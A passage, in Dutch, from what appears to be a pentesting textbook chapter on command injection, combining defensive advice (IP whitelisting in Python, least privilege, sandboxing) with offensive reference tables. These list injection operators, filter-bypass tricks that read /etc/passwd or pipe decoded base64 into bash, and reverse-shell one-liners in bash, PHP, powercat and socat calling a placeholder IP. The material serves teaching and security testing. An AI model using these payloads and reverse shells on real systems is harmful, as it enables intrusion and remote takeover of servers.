Valideer je input tegen een whitelist. Als je een IP-adres verwacht, controleer dan of de input er ook daadwerkelijk uitziet als een IP-adres:
import re
def is_valid_ip(ip):
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
if not re.match(pattern, ip):
return False
parts = ip.split('.')
return all(0 <= int(p) <= 255 for p in parts)
user_ip = request.form.get('ip', '')
if not is_valid_ip(user_ip):
return "Ongeldig IP-adres", 400
subprocess.call(["ping", "-c", "4", user_ip])Dit is defens-in-depth. Zelfs als er een bug zit in hoe je het commando aanroept, kan een aanvaller er niets mee als de input beperkt is tot geldige IP-adressen.
Regel 4: Least privilege
Draai je webapplicatie niet als root. Draai het als een beperkte gebruiker met minimale rechten. Als iemand toch command injection vindt, kan die persoon dan tenminste niet meteen het hele systeem overnemen.
In de praktijk: een eigen service-account, geen schrijfrechten buiten de applicatie-directory, geen sudo-rechten, beperkte netwerk-toegang.
Regel 5: Sandboxing
Containers (Docker), seccomp-profielen, AppArmor, SELinux – gebruik ze. Ze voorkomen command injection niet, maar ze beperken de schade. Een aanvaller in een Docker-container kan veel minder dan een aanvaller op de bare metal host.
De ongemakkelijke waarheid
En dan nu even een eerlijk woord over developers die
os.system() gebruiken.
Ik snap het. Ik snap het echt. Je hebt een deadline. Je manager wil
die feature morgen live hebben. Je moet even snel een ping uitvoeren,
een bestand converteren, een rapport genereren. En
os.system("ping " + ip) is zo verdomd makkelijk. Het werkt.
Het doet precies wat je wilt. In drie regels code heb je het voor
elkaar, terwijl de “juiste” manier met libraries en input-validatie en
subprocess met argumenten-als-lijst drie keer zo lang duurt.
Maar weet je wat ook makkelijk is? Je voordeur open laten staan. Dat bespaart je elke dag vijf seconden zoeken naar je sleutels. En op 364 dagen per jaar gaat dat prima. Maar op die ene dag dat er iemand binnenloopt die er niet hoort te zijn, heb je een probleem. En dan zeg je: “Maar het was zo makkelijk om de deur open te laten!”
Het is dezelfde logica. Dezelfde luiheid. Hetzelfde kortzichtige
denken dat ervoor zorgt dat we in 2026 nog steeds command injection
kwetsbaarheden vinden in productie-applicaties. We weten al sinds de
jaren negentig hoe dit werkt. We weten al dertig jaar hoe je het
voorkomt. En toch, elke keer weer, pakt een developer
os.system() en plakt er user input achter.
Het is niet eens incompetentie op dit punt. Het is traditie. Het is
een ambacht dat van generatie op generatie wordt doorgegeven: de kunst
van het slordig programmeren. Ergens op een universiteit zit een
professor die studenten leert hoe ze system() moeten
gebruiken, en die vergeet erbij te vertellen dat het een geladen pistool
is. En die studenten worden developers. En die developers bouwen
applicaties. En die applicaties draaien in productie. En dan komen wij
langs met een puntkomma en een id-commando, en dan is het:
“Oh nee, hoe kan dit? Wie had dit kunnen voorzien?”
Iedereen. Iedereen had dit kunnen voorzien. Want het staat in elke security training, elke OWASP-lijst, elk boek over veilig programmeren. Het staat waarschijnlijk ook op de muur van de koffieruimte bij het bedrijf dat je heeft ingehuurd om een pentest te doen. Maar niemand leest die muur. Net zoals niemand de voorwaarden leest. Net zoals niemand de documentatie leest.
En dan vragen ze ons: “Is het erg?”
Ja. Het is erg. Je hebt iemand root-toegang gegeven tot je server via een webformulier. Dat is als een bank die een gat in de kluisdeur boort zodat klanten makkelijker bij hun geld kunnen.
Referentietabel
Injection operatoren
| Operator | Syntax | Werking | Platform |
|---|---|---|---|
| Semicolon | cmd1;cmd2 |
Voer beide uit (ongeacht resultaat) | Linux |
| Ampersand | cmd1 & cmd2 |
Voer beide uit (ongeacht resultaat) | Windows |
| Pipe | cmd1\|cmd2 |
Output cmd1 als input cmd2 | Beide |
| AND | cmd1&&cmd2 |
cmd2 alleen als cmd1 slaagt | Beide |
| OR | cmd1\|\|cmd2 |
cmd2 alleen als cmd1 faalt | Beide |
| Backtick | `cmd` |
Inline substitutie | Linux |
| Dollar | $(cmd) |
Inline substitutie | Linux, PS |
| Newline | %0a |
Commandoscheiding | Beide |
URL-encoding voor HTTP parameters
| Teken | Encoding |
|---|---|
& |
%26 |
\| |
%7c |
; |
%3b |
| Spatie | + of %20 |
' |
%27 |
" |
%22 |
` |
%60 |
$ |
%24 |
( |
%28 |
) |
%29 |
{ |
%7b |
} |
%7d |
\n |
%0a |
Spatie-bypass technieken
| Techniek | Voorbeeld | Werking |
|---|---|---|
| IFS | cat${IFS}/etc/passwd |
Internal Field Separator |
| Input redirect | cat</etc/passwd |
Redirect als input |
| Brace expansion | {cat,/etc/passwd} |
Bash brace expansion |
| Hex spatie | X=$'\x20';cat${X}file |
Hex-encoded spatie in variabele |
| Tab | cat%09/etc/passwd |
Tab als whitespace |
Keyword-bypass technieken
| Techniek | Voorbeeld | Werking |
|---|---|---|
| Enkele quotes | c'a't file |
Lege quotes worden gestript |
| Dubbele quotes | c"a"t file |
Lege quotes worden gestript |
| Backslash | c\at file |
Backslash voor normaal karakter |
| Wildcard | /bin/c?t file |
? matcht een karakter |
| Variabele | a=/etc/passwd;cat $a |
Waarde in variabele |
| Base64 | echo aWQ=\|base64 -d\|bash |
Base64 decodering |
| Hex | echo -e '\x69\x64'\|bash |
Hex decodering |
Reverse shells per taal
| Taal | Listener | One-liner |
|---|---|---|
| Bash | nc -nlvp 443 |
bash -i >& /dev/tcp/IP/443 0>&1 |
| Python | nc -nlvp 443 |
python3 -c 'import os,pty,socket;...' |
| PHP | nc -nlvp 443 |
php -r '$s=fsockopen("IP",443);...' |
| Perl | nc -nlvp 443 |
perl -e 'use Socket;...' |
| Ruby | nc -nlvp 443 |
ruby -rsocket -e'...' |
| Node.js | nc -nlvp 443 |
node -e '(function(){...})()' |
| Powercat | nc -nlvp 443 |
powercat -c IP -p 443 -e cmd.exe |
| Socat (SSL) | socat OPENSSL-LISTEN:443,... |
socat OPENSSL:IP:443,... EXEC:... |
IB Command files
| Bestand | Inhoud |
|---|---|
web_cmdi_operators |
Alle injection operatoren + blind detection |
web_cmdi_bypass |
Spatie-, keyword-, encoding-bypass technieken |
web_cmdi_shells |
Multi-language reverse shell one-liners |
shell_powercat |
Powercat: reverse/bind shells, file transfer, relay |
shell_socat |
Socat: versleutelde shells, port forwarding |
Verdedigingsmaatregelen
| Maatregel | Prioriteit | Effectiviteit |
|---|---|---|
| Geen system calls gebruiken | Kritiek | Elimineert het probleem |
Parameterized execution (shell=False) |
Hoog | Voorkomt operator-interpretatie |
| Input whitelisting | Hoog | Beperkt aanvalsvlak |
escapeshellarg() (PHP) |
Medium | Escaped speciale tekens |
| Least privilege | Medium | Beperkt schade |
| Sandboxing (Docker, seccomp) | Medium | Beperkt post-exploitation |
| WAF-regels | Laag | Te omzeilen, maar vertraagt aanvaller |
Volgende hoofdstuk: Cross-Site Request Forgery – of hoe je iemand anders jouw vuile werk laat doen.